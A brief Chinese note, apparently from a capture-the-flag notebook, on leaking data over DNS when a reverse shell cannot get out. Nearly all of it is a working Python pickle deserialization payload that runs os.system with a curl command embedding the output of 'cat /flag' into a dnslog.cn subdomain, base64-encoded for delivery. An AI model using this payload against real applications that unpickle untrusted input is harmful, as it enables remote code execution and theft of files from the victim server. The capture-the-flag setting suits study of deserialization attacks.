DNS

如果不能出网进行反弹shell,可以尝试出DNS

http://dnslog.cn/在这个地方拿一个dns

import base64
import pickle

opcode=b'''cos
system
(S'curl http://`cat /flag`.14twb0.dnslog.cn'
tR.'''
print(base64.b64encode(opcode))

将flag外带

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来源: https://www.yuque.com/guansuanbangzhuangganjun/oxmbxg/nqbnoss4muxrtuxz
语雀文档ID: 158381672